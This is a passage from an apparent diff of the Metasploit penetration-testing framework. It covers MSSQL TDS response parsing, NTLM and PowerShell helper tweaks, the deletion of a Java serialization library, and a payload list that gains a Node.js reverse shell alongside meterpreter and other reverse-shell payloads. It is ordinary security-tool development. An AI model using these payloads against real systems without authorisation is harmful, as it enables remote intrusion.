raw = data.slice!(0, len) if (len and len > 0) raw = data.slice!(0, len) if len && len > 0
case len case len
when 0,255 when 0, 255
row << '' row << ''
when 1 when 1
row << raw.unpack("C")[0] row << raw.unpack("C")[0]
@ -900,7 +862,7 @@ module Exploit::Remote::MSSQL
when 8 when 8
row << raw.unpack('VV')[0] # XXX: missing high dword row << raw.unpack('VV')[0] # XXX: missing high dword
else else
info[:errors] << "invalid integer size: #{len} #{data[0,16].unpack("H*")[0]}" info[:errors] << "invalid integer size: #{len} #{data[0, 16].unpack("H*")[0]}"
end end
else else
info[:errors] << "unknown column type: #{col.inspect}" info[:errors] << "unknown column type: #{col.inspect}"
@ -915,7 +877,7 @@ module Exploit::Remote::MSSQL
# Parse a "ret" TDS token # Parse a "ret" TDS token
# #
def mssql_parse_ret(data, info) def mssql_parse_ret(data, info)
ret = data.slice!(0,4).unpack('N')[0] ret = data.slice!(0, 4).unpack('N')[0]
info[:ret] = ret info[:ret] = ret
info info
end end
@ -924,7 +886,7 @@ module Exploit::Remote::MSSQL
# Parse a "done" TDS token # Parse a "done" TDS token
# #
def mssql_parse_done(data, info) def mssql_parse_done(data, info)
status,cmd,rows = data.slice!(0,8).unpack('vvV') status, cmd, rows = data.slice!(0, 8).unpack('vvV')
info[:done] = { :status => status, :cmd => cmd, :rows => rows } info[:done] = { :status => status, :cmd => cmd, :rows => rows }
info info
end end
@ -933,11 +895,11 @@ module Exploit::Remote::MSSQL
# Parse an "error" TDS token # Parse an "error" TDS token
# #
def mssql_parse_error(data, info) def mssql_parse_error(data, info)
len = data.slice!(0,2).unpack('v')[0] len = data.slice!(0, 2).unpack('v')[0]
buff = data.slice!(0,len) buff = data.slice!(0, len)
errno,state,sev,elen = buff.slice!(0,8).unpack('VCCv') errno, state, sev, elen = buff.slice!(0, 8).unpack('VCCv')
emsg = buff.slice!(0,elen * 2) emsg = buff.slice!(0, elen * 2)
emsg.gsub!("\x00", '') emsg.gsub!("\x00", '')
info[:errors] << "SQL Server Error ##{errno} (State:#{state} Severity:#{sev}): #{emsg}" info[:errors] << "SQL Server Error ##{errno} (State:#{state} Severity:#{sev}): #{emsg}"
@ -948,17 +910,17 @@ module Exploit::Remote::MSSQL
# Parse an "environment change" TDS token # Parse an "environment change" TDS token
# #
def mssql_parse_env(data, info) def mssql_parse_env(data, info)
len = data.slice!(0,2).unpack('v')[0] len = data.slice!(0, 2).unpack('v')[0]
buff = data.slice!(0,len) buff = data.slice!(0, len)
type = buff.slice!(0,1).unpack('C')[0] type = buff.slice!(0, 1).unpack('C')[0]
nval = '' nval = ''
nlen = buff.slice!(0,1).unpack('C')[0] || 0 nlen = buff.slice!(0, 1).unpack('C')[0] || 0
nval = buff.slice!(0,nlen*2).gsub("\x00", '') if nlen > 0 nval = buff.slice!(0, nlen * 2).gsub("\x00", '') if nlen > 0
oval = '' oval = ''
olen = buff.slice!(0,1).unpack('C')[0] || 0 olen = buff.slice!(0, 1).unpack('C')[0] || 0
oval = buff.slice!(0,olen*2).gsub("\x00", '') if olen > 0 oval = buff.slice!(0, olen * 2).gsub("\x00", '') if olen > 0
info[:envs] ||= [] info[:envs] ||= []
info[:envs] << { :type => type, :old => oval, :new => nval } info[:envs] << { :type => type, :old => oval, :new => nval }
@ -969,14 +931,14 @@ module Exploit::Remote::MSSQL
# Parse an "information" TDS token # Parse an "information" TDS token
# #
def mssql_parse_info(data, info) def mssql_parse_info(data, info)
len = data.slice!(0,2).unpack('v')[0] len = data.slice!(0, 2).unpack('v')[0]
buff = data.slice!(0,len) buff = data.slice!(0, len)
errno,state,sev,elen = buff.slice!(0,8).unpack('VCCv') errno, state, sev, elen = buff.slice!(0, 8).unpack('VCCv')
emsg = buff.slice!(0,elen * 2) emsg = buff.slice!(0, elen * 2)
emsg.gsub!("\x00", '') emsg.gsub!("\x00", '')
info[:infos]||= [] info[:infos] ||= []
info[:infos] << "SQL Server Info ##{errno} (State:#{state} Severity:#{sev}): #{emsg}" info[:infos] << "SQL Server Info ##{errno} (State:#{state} Severity:#{sev}): #{emsg}"
info info
end end
@ -985,8 +947,8 @@ module Exploit::Remote::MSSQL
# Parse a "login ack" TDS token # Parse a "login ack" TDS token
# #
def mssql_parse_login_ack(data, info) def mssql_parse_login_ack(data, info)
len = data.slice!(0,2).unpack('v')[0] len = data.slice!(0, 2).unpack('v')[0]
buff = data.slice!(0,len) _buff = data.slice!(0, len)
info[:login_ack] = true info[:login_ack] = true
end end
end end

View File

@ -17,12 +17,6 @@ module Msf
module Exploit::NTLM module Exploit::NTLM
NTLM_CONST = ::Rex::Proto::NTLM::Constants
NTLM_CRYPT = ::Rex::Proto::NTLM::Crypt
NTLM_UTILS = ::Rex::Proto::NTLM::Utils
NTLM_BASE = ::Rex::Proto::NTLM::Base
NTLM_MESSAGE = ::Rex::Proto::NTLM::Message
module Client module Client
def initialize(info = {}) def initialize(info = {})
super super

View File

@ -58,7 +58,7 @@ module Exploit::Powershell
# @return [String] Encoded script # @return [String] Encoded script
def encode_script(script_in, eof = nil) def encode_script(script_in, eof = nil)
opts = {} opts = {}
datastore.select { |k, v| k =~ /^Powershell::(strip|sub)/i && v }.keys.map do |k| datastore.select { |k, v| k =~ /^Powershell::(strip|sub)/ && v }.keys.map do |k|
mod_method = k.split('::').last.intern mod_method = k.split('::').last.intern
opts[mod_method.to_sym] = true opts[mod_method.to_sym] = true
end end
@ -76,7 +76,7 @@ module Exploit::Powershell
# @return [String] Compressed script with decompression stub # @return [String] Compressed script with decompression stub
def compress_script(script_in, eof=nil) def compress_script(script_in, eof=nil)
opts = {} opts = {}
datastore.select { |k, v| k =~ /^Powershell::(strip|sub)/i && v }.keys.map do |k| datastore.select { |k, v| k =~ /^Powershell::(strip|sub)/ && v }.keys.map do |k|
mod_method = k.split('::').last.intern mod_method = k.split('::').last.intern
opts[mod_method.to_sym] = true opts[mod_method.to_sym] = true
end end

View File

@ -227,6 +227,7 @@ class Exploit
'php/meterpreter/reverse_tcp', 'php/meterpreter/reverse_tcp',
'php/meterpreter_reverse_tcp', 'php/meterpreter_reverse_tcp',
'ruby/shell_reverse_tcp', 'ruby/shell_reverse_tcp',
'nodejs/shell_reverse_tcp',
'cmd/unix/interact', 'cmd/unix/interact',
'cmd/unix/reverse', 'cmd/unix/reverse',
'cmd/unix/reverse_perl', 'cmd/unix/reverse_perl',

View File

@ -1,3 +0,0 @@
# -*- coding: binary -*-
require 'rex/java/serialization'

View File

@ -1,57 +0,0 @@
# -*- coding: binary -*-
module Rex
module Java
# Include constants defining terminal and constant
# values expected in a stream.
module Serialization
STREAM_MAGIC = 0xaced
STREAM_VERSION = 5
TC_NULL = 0x70
TC_REFERENCE = 0x71
TC_CLASSDESC = 0x72
TC_OBJECT = 0x73
TC_STRING = 0x74
TC_ARRAY = 0x75
TC_CLASS = 0x76
TC_BLOCKDATA = 0x77
TC_ENDBLOCKDATA = 0x78
TC_RESET = 0x79
TC_BLOCKDATALONG = 0x7A
TC_EXCEPTION = 0x7B
TC_LONGSTRING = 0x7C
TC_PROXYCLASSDESC = 0x7D
TC_ENUM = 0x7E
BASE_WIRE_HANDLE = 0x7E0000
SC_WRITE_METHOD = 0x01 # if SC_SERIALIZABLE
SC_BLOCK_DATA = 0x08 # if SC_EXTERNALIZABLE
SC_SERIALIZABLE = 0x02
SC_EXTERNALIZABLE = 0x04
SC_ENUM = 0x10
PRIMITIVE_TYPE_CODES = {
'B' => 'byte',
'C' => 'char',
'D' => 'double',
'F' => 'float',
'I' => 'int',
'J' => 'long',
'S' => 'short',
'Z' => 'boolean'
}
OBJECT_TYPE_CODES = {
'[' => 'array',
'L' => 'object'
}
TYPE_CODES = PRIMITIVE_TYPE_CODES.merge(OBJECT_TYPE_CODES)
end
end
end
require 'rex/java/serialization/decode_error'
require 'rex/java/serialization/encode_error'
require 'rex/java/serialization/model'
require 'rex/java/serialization/builder'

View File

@ -1,94 +0,0 @@
# -*- coding: binary -*-
module Rex
module Java
module Serialization
# This class provides a builder to help in the construction of
# Java serialized contents.
class Builder
# Creates a Rex::Java::Serialization::Model::NewArray
#
# @param opts [Hash{Symbol => <Rex::Java::Serialization::Model::NewClassDesc, String, Array>}]
# @option opts [Rex::Java::Serialization::Model::NewClassDesc] :description
# @option opts [String] :values_type
# @option opts [Array] :values
# @return [Rex::Java::Serialization::Model::NewArray]
# @see #new_class
def new_array(opts = {})
class_desc = opts[:description] || new_class(opts)
type = opts[:values_type] || ''
values = opts[:values] || []
array = Rex::Java::Serialization::Model::NewArray.new
array.array_description = Rex::Java::Serialization::Model::ClassDesc.new
array.array_description.description = class_desc
array.type = type
array.values = values
array
end
# Creates a Rex::Java::Serialization::Model::NewObject
#
# @param opts [Hash{Symbol => <Rex::Java::Serialization::Model::NewClassDesc, Array>}]
# @option opts [Rex::Java::Serialization::Model::NewClassDesc] :description
# @option opts [Array] :data
# @return [Rex::Java::Serialization::Model::NewObject]
# @see #new_class
def new_object(opts = {})
class_desc = opts[:description] || new_class(opts)
data = opts[:data] || []
object = Rex::Java::Serialization::Model::NewObject.new
object.class_desc = Rex::Java::Serialization::Model::ClassDesc.new
object.class_desc.description = class_desc
object.class_data = data
object
end
# Creates a Rex::Java::Serialization::Model::NewClassDesc
#
# @param opts [Hash{Symbol => <Rex::Java::Serialization::Model::NewClassDesc, Array>}]
# @option opts [String] :name
# @option opts [Fixnum] :serial
# @option opts [Fixnum] :flags
# @option opts [Array] :fields
# @option opts [Array] :annotations
# @option opts [Rex::Java::Serialization::Model::Element] :super_class
# @return [Rex::Java::Serialization::Model::NewClassDesc]
def new_class(opts = {})
class_name = opts[:name] || ''
serial_version = opts[:serial] || 0
flags = opts[:flags] || 2
fields = opts[:fields] || []
annotations = opts[:annotations] || [Rex::Java::Serialization::Model::NullReference.new,
Rex::Java::Serialization::Model::EndBlockData.new]
super_class = opts[:super_class] || Rex::Java::Serialization::Model::NullReference.new
class_desc = Rex::Java::Serialization::Model::NewClassDesc.new
class_desc.class_name = Rex::Java::Serialization::Model::Utf.new(nil, class_name)
class_desc.serial_version = serial_version
class_desc.flags = flags
class_desc.fields = []
fields.each do |f|
field = Rex::Java::Serialization::Model::Field.new
field.type = f[0]
field.name = Rex::Java::Serialization::Model::Utf.new(nil, f[1])
field.field_type = Rex::Java::Serialization::Model::Utf.new(nil, f[2]) if f[2]
class_desc.fields << field
end
class_desc.class_annotation = Rex::Java::Serialization::Model::Annotation.new
class_desc.class_annotation.contents = annotations
class_desc.super_class = Rex::Java::Serialization::Model::ClassDesc.new
class_desc.super_class.description = super_class
class_desc
end
end
end
end
end

View File

@ -1,11 +0,0 @@
# -*- coding: binary -*-
module Rex
module Java
module Serialization
class DecodeError < ::RuntimeError
end
end
end
end

View File

@ -1,11 +0,0 @@
# -*- coding: binary -*-
module Rex
module Java
module Serialization
class EncodeError < ::RuntimeError
end
end
end
end

View File

@ -1,33 +0,0 @@
# -*- coding: binary -*-
module Rex
module Java
module Serialization
module Model
autoload :Annotation, 'rex/java/serialization/model/annotation'
autoload :BlockDataLong, 'rex/java/serialization/model/block_data_long'
autoload :BlockData, 'rex/java/serialization/model/block_data'
autoload :ClassDesc, 'rex/java/serialization/model/class_desc'
autoload :Contents, 'rex/java/serialization/model/contents'
autoload :Element, 'rex/java/serialization/model/element'
autoload :EndBlockData, 'rex/java/serialization/model/end_block_data'
autoload :Field, 'rex/java/serialization/model/field'
autoload :LongUtf, 'rex/java/serialization/model/long_utf'
autoload :NewArray, 'rex/java/serialization/model/new_array'
autoload :ProxyClassDesc, 'rex/java/serialization/model/proxy_class_desc'
autoload :NewClassDesc, 'rex/java/serialization/model/new_class_desc'
autoload :NewEnum, 'rex/java/serialization/model/new_enum'
autoload :NewObject, 'rex/java/serialization/model/new_object'
autoload :NewClass, 'rex/java/serialization/model/new_class'
autoload :NullReference, 'rex/java/serialization/model/null_reference'
autoload :Reference, 'rex/java/serialization/model/reference'
autoload :Reset, 'rex/java/serialization/model/reset'
autoload :Stream, 'rex/java/serialization/model/stream'
autoload :Utf, 'rex/java/serialization/model/utf'
end
end
end
end

View File

@ -1,69 +0,0 @@
# -*- coding: binary -*-
module Rex
module Java
module Serialization
module Model
# This class provides an annotation representation. It's used for both class
# annotations (classAnnotation) and object annotations (objectAnnotation).
class Annotation < Element
include Rex::Java::Serialization::Model::Contents
# @!attribute contents
# @return [Array] The annotation contents
attr_accessor :contents
# @param stream [Rex::Java::Serialization::Model::Stream] the stream where it belongs to
def initialize(stream = nil)
super(stream)
self.contents = []
end
# Deserializes a Rex::Java::Serialization::Model::Annotation
#
# @param io [IO] the io to read from
# @return [self] if deserialization succeeds
# @raise [Rex::Java::Serialization::DecodeError] if deserialization doesn't succeed
def decode(io)
loop do
content = decode_content(io, stream)
self.contents << content
return self if content.kind_of?(EndBlockData)
end
self
end
# Serializes the Rex::Java::Serialization::Model::Annotation
#
# @return [String] if serialization suceeds
# @raise [Rex::Java::Serialization::EncodeError] if serialization doesn't succeed
def encode
raise Rex::Java::Serialization::EncodeError, 'Failed to serialize Annotation with empty contents' if contents.empty?
encoded = ''
contents.each do |content|
encoded << encode_content(content)
end
encoded
end
# Creates a print-friendly string representation
#
# @return [String]
def to_s
str = '[ '
contents_data = contents.collect {|content| "#{print_content(content)}"}
str << contents_data.join(', ')
str << ' ]'
str
end
end
end
end
end
end

View File

@ -1,70 +0,0 @@
# -*- coding: binary -*-
module Rex
module Java
module Serialization
module Model
# This class provides a block data representation
class BlockData < Element
# @!attribute length
# @return [Integer] the length of the block
attr_accessor :length
# @!attribute contents
# @return [String] the contents of the block
attr_accessor :contents
# @param stream [Rex::Java::Serialization::Model::Stream] the stream where it belongs to
# @param contents [String] the contents of the block
def initialize(stream = nil, contents = '')
super(stream)
self.contents = contents
self.length = contents.length
end
# Deserializes a Rex::Java::Serialization::Model::BlockData
#
# @param io [IO] the io to read from
# @return [self] if deserialization succeeds
# @raise [Rex::Java::Serialization::DecodeError] if deserialization doesn't succeed
def decode(io)
raw_length = io.read(1)
raise Rex::Java::Serialization::DecodeError, 'Failed to unserialize BlockData' if raw_length.nil?
self.length = raw_length.unpack('C')[0]
if length == 0
self.contents = ''
else
self.contents = io.read(length)
if contents.nil? || contents.length != length
raise Rex::Java::Serialization::DecodeError, 'Failed to unserialize BlockData'
end
end
self
end
# Creates a print-friendly string representation
#
# @return [String]
def to_s
contents_hex = []
contents.each_byte {|byte| contents_hex << "0x#{byte.to_s(16)}" }
"[ #{contents_hex.join(', ')} ]"
end
# Serializes the Rex::Java::Serialization::Model::BlockData
#
# @return [String]
def encode
encoded = [length].pack('C')
encoded << contents
encoded
end
end
end
end
end
end

View File

@ -1,72 +0,0 @@
# -*- coding: binary -*-
module Rex
module Java
module Serialization
module Model
# This class provides a block data (long) representation
class BlockDataLong < Element
# @!attribute length
# @return [Integer] the length of the block
attr_accessor :length
# @!attribute contents
# @return [String] the contents of the block
attr_accessor :contents
# @param stream [Rex::Java::Serialization::Model::Stream] the stream where it belongs to
# @param contents [String] the contents of the block
def initialize(stream = nil, contents = '')
super(stream)
self.contents = contents
self.length = contents.length
end
# Deserializes a Rex::Java::Serialization::Model::BlockDataLong
#
# @param io [IO] the io to read from
# @return [self] if deserialization succeeds
# @raise [Rex::Java::Serialization::DecodeError] if deserialization doesn't succeed
def decode(io)
raw_length = io.read(4)
if raw_length.nil? || raw_length.length != 4
raise Rex::Java::Serialization::DecodeError, 'Failed to unserialize BlockDataLong'
end
self.length = raw_length.unpack('N')[0]
if length == 0
self.contents = ''
else
self.contents = io.read(length)
if contents.nil? || contents.length != length
raise Rex::Java::Serialization::DecodeError, 'Failed to unserialize BlockData'
end
end
self
end
# Serializes the Rex::Java::Serialization::Model::BlockDataLong
#
# @return [String]
def encode
encoded = [length].pack('N')
encoded << contents
encoded
end
# Creates a print-friendly string representation
#
# @return [String]
def to_s
contents_hex = []
contents.each_byte {|byte| contents_hex << "0x#{byte.to_s(16)}" }
"[ #{contents_hex.join(', ')} ]"
end
end
end
end
end
end

View File

@ -1,64 +0,0 @@
# -*- coding: binary -*-
module Rex
module Java
module Serialization
module Model
# This class provides a Java classDesc representation
class ClassDesc < Element
include Rex::Java::Serialization::Model::Contents
attr_accessor :description
# @param stream [Rex::Java::Serialization::Model::Stream] the stream where it belongs to
def initialize(stream = nil)
super(stream)
self.description = nil
end
# Deserializes a Rex::Java::Serialization::Model::ClassDesc
#
# @param io [IO] the io to read from
# @return [self] if deserialization succeeds
# @raise [Rex::Java::Serialization::DecodeError] if deserialization doesn't succeed
def decode(io)
content = decode_content(io, stream)
allowed_contents = [NullReference, NewClassDesc, Reference, ProxyClassDesc]
unless allowed_contents.include?(content.class)
raise Rex::Java::Serialization::DecodeError, 'ClassDesc unserialize failed'
end
self.description = content
self
end
# Serializes the Rex::Java::Serialization::Model::ClassDesc
#
# @return [String] if serialization succeeds
# @raise [Rex::Java::Serialization::EncodeError] if serialization doesn't succeed
def encode
encoded = ''
allowed_contents = [NullReference, NewClassDesc, Reference, ProxyClassDesc]
unless allowed_contents.include?(description.class)
raise Rex::Java::Serialization::EncodeError, 'Failed to serialize ClassDesc'
end
encoded << encode_content(description)
encoded
end
# Creates a print-friendly string representation
#
# @return [String]
def to_s
print_content(description)
end
end
end
end
end
end

View File

@ -1,163 +0,0 @@
# -*- coding: binary -*-
module Rex
module Java
module Serialization
module Model
module Contents
include Rex::Java::Serialization
# Deserializes a content
#
# @param io [IO] the io to read from
# @return [Rex::Java::Serialization::Model::Element] if deserialization succeeds
# @raise [Rex::Java::Serialization::DecodeError] if deserialization doesn't succeed or unsupported content
def decode_content(io, stream)
opcode = io.read(1)
raise Rex::Java::Serialization::DecodeError, 'Failed to unserialize content' if opcode.nil?
opcode = opcode.unpack('C')[0]
content = nil
case opcode
when TC_BLOCKDATA
content = BlockData.decode(io, stream)
when TC_BLOCKDATALONG
content = BlockDataLong.decode(io, stream)
when TC_ENDBLOCKDATA
content = EndBlockData.decode(io, stream)
when TC_OBJECT
content = NewObject.decode(io, stream)
when TC_CLASS
content = NewClass.decode(io, stream)
when TC_ARRAY
content = NewArray.decode(io, stream)
when TC_STRING
content = Utf.decode(io, stream)
stream.add_reference(content) unless stream.nil?
when TC_LONGSTRING
content = LongUtf.decode(io, stream)
stream.add_reference(content) unless stream.nil?
when TC_ENUM
content = NewEnum.decode(io, stream)
when TC_CLASSDESC
content = NewClassDesc.decode(io, stream)
when TC_PROXYCLASSDESC
content = ProxyClassDesc.decode(io, stream)
when TC_REFERENCE
content = Reference.decode(io, stream)
when TC_NULL
content = NullReference.decode(io, stream)
when TC_EXCEPTION
raise Rex::Java::Serialization::DecodeError, 'Failed to unserialize unsupported TC_EXCEPTION content'
when TC_RESET
content = Reset.decode(io, stream)
else
raise Rex::Java::Serialization::DecodeError, 'Failed to unserialize content'
end
content
end
# Serializes a content
#
# @param content [Rex::Java::Serialization::Model::Element] the content to serialize
# @return [String] if serialization succeeds
# @raise [Rex::Java::Serialization::EncodeError] if serialization doesn't succeed
def encode_content(content)
encoded = ''
case content
when BlockData
encoded << [TC_BLOCKDATA].pack('C')
when BlockDataLong
encoded << [TC_BLOCKDATALONG].pack('C')
when EndBlockData
encoded << [TC_ENDBLOCKDATA].pack('C')
when NewObject
encoded << [TC_OBJECT].pack('C')
when NewClass
encoded << [TC_CLASS].pack('C')
when NewArray
encoded << [TC_ARRAY].pack('C')
when Utf
encoded << [TC_STRING].pack('C')
when LongUtf
encoded << [TC_LONGSTRING].pack('C')
when NewEnum
encoded << [TC_ENUM].pack('C')
when NewClassDesc
encoded << [TC_CLASSDESC].pack('C')
when ProxyClassDesc
encoded << [TC_PROXYCLASSDESC].pack('C')
when NullReference
encoded << [TC_NULL].pack('C')
when Reset
encoded << [TC_RESET].pack('C')
when Reference
encoded << [TC_REFERENCE].pack('C')
else
raise Rex::Java::Serialization::EncodeError, 'Failed to serialize content'
end
encoded << content.encode
encoded
end
# Creates a print-friendly string representation
#
# @param content [Rex::Java::Serialization::Model::Element] the content to print
# @return [String]
# @raise [Rex::Java::Serialization::EncodeError] if the content is unknown
def print_content(content)
str = ''
case content
when BlockData
str << "#{print_class(content)} { #{content.to_s} }"
when BlockDataLong
str << "#{print_class(content)} { #{content.to_s} }"
when EndBlockData
str << "#{print_class(content)}"
when NewObject
str << "#{print_class(content)} { #{content.to_s} }"
when ClassDesc
str << "#{print_class(content)} { #{content.to_s} }"
when NewClass
str << "#{print_class(content)} { #{content.to_s} }"
when NewArray
str << "#{print_class(content)} { #{content.to_s} }"
when Utf
str << "#{print_class(content)} { #{content.to_s} }"
when LongUtf
str << "#{print_class(content)} { #{content.to_s} } "
when NewEnum
str << "#{print_class(content)} { #{content.to_s} }"
when NewClassDesc
str << "#{print_class(content)} { #{content.to_s} }"
when ProxyClassDesc
str << "#{print_class(content)} { #{content.to_s} }"
when NullReference
str << "#{print_class(content)}"
when Reset
str << "#{print_class(content)}"
when Reference
str << "#{print_class(content)} { #{content.to_s} }"
else
raise Rex::Java::Serialization::EncodeError, 'Failed to serialize content'
end
str
end
# Creates a print-friendly string representation of the content class
#
# @param content [Rex::Java::Serialization::Model::Element] the content
# @return [String]
def print_class(content)
content.class.name.split('::').last
end
end
end
end
end
end

View File

@ -1,44 +0,0 @@
# -*- coding: binary -*-
module Rex
module Java
module Serialization
module Model
class Element
attr_accessor :stream
# Deserializes a Rex::Java::Serialization::Model::Element
#
# @param io [IO] the io to read from
# @return [Rex::Java::Serialization::Model::Element] if deserialization succeeds
# @return [nil] if deserialization doesn't succeed
def self.decode(io, stream = nil)
elem = self.new(stream)
elem.decode(io)
end
# @param stream [Rex::Java::Serialization::Model::Stream] the stream where it belongs to
def initialize(stream = nil)
self.stream = stream
end
def decode(io)
self
end
def encode
''
end
# Creates a print-friendly string representation
#
# @return [String]
def to_s
self.class.name.split('::').last
end
end
end
end
end
end

View File

@ -1,12 +0,0 @@
# -*- coding: binary -*-
module Rex
module Java
module Serialization
module Model
class EndBlockData < Element
end
end
end
end
end

View File

@ -1,173 +0,0 @@
# -*- coding: binary -*-
module Rex
module Java
module Serialization
module Model
# This class provides a field description representation (fieldDesc). It's used for
# both primitive descriptions (primitiveDesc) and object descriptions (objectDesc).
class Field < Element
include Rex::Java::Serialization::Model::Contents
# @!attribute type
# @return [String] The type of the field.
attr_accessor :type
# @!attribute name
# @return [Rex::Java::Serialization::Model::Utf] The name of the field.
attr_accessor :name
# @!attribute field_type
# @return [Rex::Java::Serialization::Model::Utf] The type of the field on object types.
attr_accessor :field_type
# @param stream [Rex::Java::Serialization::Model::Stream] the stream where it belongs to
def initialize(stream = nil)
super(stream)
self.type = ''
self.name = nil
self.field_type = nil
end
# Deserializes a Rex::Java::Serialization::Model::Field
#
# @param io [IO] the io to read from
# @return [self] if deserialization succeeds
# @raise [Rex::Java::Serialization::DecodeError] if deserialization doesn't succeed
def decode(io)
code = io.read(1)
unless code && is_valid?(code)
raise Rex::Java::Serialization::DecodeError, 'Failed to unserialize Field'
end
self.type = TYPE_CODES[code]
self.name = Utf.decode(io, stream)
if is_object?
self.field_type = decode_field_type(io)
end
self
end
# Serializes the Rex::Java::Serialization::Model::Field
#
# @return [String] if serialization succeeds
# @raise [Rex::Java::Serialization::EncodeError] if serialization doesn't succeed
def encode
unless name.kind_of?(Rex::Java::Serialization::Model::Utf)
raise Rex::Java::Serialization::EncodeError, 'Failed to serialize Field'
end
unless is_type_valid?
raise Rex::Java::Serialization::EncodeError, 'Failed to serialize Field'
end
encoded = ''
encoded << TYPE_CODES.key(type)
encoded << name.encode
if is_object?
encoded << encode_field_type
end
encoded
end
# Whether the field type is valid.
#
# @return [Boolean]
def is_type_valid?
if TYPE_CODES.values.include?(type)
return true
end
false
end
# Whether the field type is a primitive one.
#
# @return [Boolean]
def is_primitive?
if PRIMITIVE_TYPE_CODES.values.include?(type)
return true
end
false
end
# Whether the field type is an object one.
#
# @return [Boolean]
def is_object?
if OBJECT_TYPE_CODES.values.include?(type)
return true
end
false
end
# Creates a print-friendly string representation
#
# @return [String]
def to_s
str = "#{name} "
if is_primitive?
str << "(#{type})"
else
str << "(#{field_type})"
end
str
end
private
# Whether the type opcode is a valid one.
#
# @param code [String] A type opcode
# @return [Boolean]
def is_valid?(code)
if TYPE_CODES.keys.include?(code)
return true
end
false
end
# Serializes the `field_type` attribute.
#
# @return [String]
# @raise [Rex::Java::Serialization::EncodeError] if serialization fails
def encode_field_type
allowed_contents = [Utf, Reference]
unless allowed_contents.include?(field_type.class)
raise Rex::Java::Serialization::EncodeError, 'Failed to serialize Field'
end
encoded = encode_content(field_type)
encoded
end
# Deserializes the `field_type` value.
#
# @param io [IO] the io to read from
# @return [Java::Serialization::Model::Utf]
# @raise [Rex::Java::Serialization::DecodeError] if unserialization doesn't succeed
def decode_field_type(io)
allowed_contents = [Utf, Reference]
type = decode_content(io, stream)
unless allowed_contents.include?(type.class)
raise Rex::Java::Serialization::DecodeError, 'Failed to unserialize Field field_type'
end
type
end
end
end
end
end
end

View File

@ -1,48 +0,0 @@
# -*- coding: binary -*-
module Rex
module Java
module Serialization
module Model
# This class provides a Long Utf string representation
class LongUtf < Utf
# Deserializes a Rex::Java::Serialization::Model::LongUtf
#
# @param io [IO] the io to read from
# @return [self] if deserialization succeeds
# @raise [Rex::Java::Serialization::DecodeError] if deserialization doesn't succeed
def decode(io)
raw_length = io.read(8)
if raw_length.nil? || raw_length.length != 8
raise Rex::Java::Serialization::DecodeError, 'Failed to unserialize LongUtf'
end
self.length = raw_length.unpack('Q>')[0]
if length == 0
self.contents = ''
else
self.contents = io.read(length)
if contents.nil? || contents.length != length
raise Rex::Java::Serialization::DecodeError, 'Failed to unserialize LongUtf'
end
end
self
end
# Serializes the Rex::Java::Serialization::Model::LongUtf
#
# @return [String]
def encode
encoded = [length].pack('Q>')
encoded << contents
encoded
end
end
end
end
end
end

View File

@ -1,229 +0,0 @@
# -*- coding: binary -*-
module Rex
module Java
module Serialization
module Model
# This class provides a NewArray (Java Array) representation
class NewArray < Element
include Rex::Java::Serialization::Model::Contents
# @!attribute array_description
# @return [Java::Serialization::Model::ClassDesc] The description of the array
attr_accessor :array_description
# @!attribute type
# @return [String] The type of the array values
attr_accessor :type
# @!attribute values
# @return [Array] The contents of the java array
attr_accessor :values
# @param stream [Rex::Java::Serialization::Model::Stream] the stream where it belongs to
def initialize(stream = nil)
super(stream)
self.array_description = nil
self.type = ''
self.values = []
end
# Deserializes a Rex::Java::Serialization::Model::NewArray
#
# @param io [IO] the io to read from
# @return [self] if deserialization succeeds
# @raise [Rex::Java::Serialization::DecodeError] if deserialization doesn't succeed
def decode(io)
self.array_description = ClassDesc.decode(io, stream)
stream.add_reference(self) unless stream.nil?
self.type = array_type
values_length = decode_values_length(io)
values_length.times do
value = decode_value(io)
self.values << value
end
self
end
# Serializes the Rex::Java::Serialization::Model::NewArray
#
# @return [String] if serialization succeeds
# @raise [Rex::Java::Serialization::EncodeError] if serialization doesn't succeed
def encode
unless array_description.kind_of?(ClassDesc)
raise Rex::Java::Serialization::EncodeError, 'Failed to serialize NewArray'
end
encoded = ''
encoded << array_description.encode
encoded << [values.length].pack('N')
values.each do |value|
encoded << encode_value(value)
end
encoded
end
# Creates a print-friendly string representation
#
# @return [String]
def to_s
str = "#{type}, "
values_data = values.collect {|v| "#{v}"}
str << "#{values_data}"
end
private
# Deserializes the NewArray length
#
# @param io [IO] the io to read from
# @return [Integer] if deserialization succeeds
# @raise [Rex::Java::Serialization::DecodeError] if deserialization doesn't succeed
def decode_values_length(io)
values_length = io.read(4)
if values_length.nil? || values_length.length != 4
raise Rex::Java::Serialization::DecodeError, 'Failed to unserialize NewArray'
end
values_length.unpack('N')[0]
end
# Extracts the NewArray data type
#
# @return [String]
# @raise [Rex::Java::Serialization::DecodeError] if the NewArray description isn't valid
# or type isn't supported
def array_type
if array_description.nil?
raise Rex::Java::Serialization::DecodeError, 'Empty NewArray description'
end
unless array_description.kind_of?(ClassDesc)
raise Rex::Java::Serialization::DecodeError, 'Unsupported NewArray description class'
end
desc = array_description.description
if desc.class == Reference
ref = desc.handle - BASE_WIRE_HANDLE
desc = stream.references[ref]
end
unless desc.class_name.contents[0] == '[' # Array
raise Rex::Java::Serialization::DecodeError, 'Unsupported NewArray description'
end
decoded_type = desc.class_name.contents[1]
if PRIMITIVE_TYPE_CODES.keys.include?(decoded_type)
return PRIMITIVE_TYPE_CODES[decoded_type]
elsif decoded_type == 'L' # L : Object
return desc.class_name.contents[2..desc.class_name.contents.index(';')] # Object class
else
raise Rex::Java::Serialization::DecodeError, 'Unsupported NewArray Type'
end
end
# Deserializes a NewArray value
#
# @param io [IO] the io to read from
# @return [Fixnum, Float] if deserialization succeeds
# @raise [Rex::Java::Serialization::DecodeError] if deserialization fails
def decode_value(io)
value = nil
case type
when 'byte'
value = io.read(1)
raise Rex::Java::Serialization::DecodeError, 'Failed to deserialize NewArray value' if value.nil?
value = value.unpack('c')[0]
when 'char'
value = io.read(2)
unless value && value.length == 2
raise Rex::Java::Serialization::DecodeError, 'Failed to deserialize NewArray value'
end
value = value.unpack('s>')[0]
when 'double'
value = io.read(8)
unless value && value.length == 8
raise Rex::Java::Serialization::DecodeError, 'Failed to deserialize NewArray value'
end
value = value.unpack('G')[0]
when 'float'
value = io.read(4)
unless value && value.length == 4
raise Rex::Java::Serialization::DecodeError, 'Failed to deserialize NewArray value'
end
value = value.unpack('g')[0]
when 'int'
value = io.read(4)
unless value && value.length == 4
raise Rex::Java::Serialization::DecodeError, 'Failed to deserialize NewArray value'
end
value = value.unpack('l>')[0]
when 'long'
value = io.read(8)
unless value && value.length == 8
raise Rex::Java::Serialization::DecodeError, 'Failed to deserialize NewArray value'
end
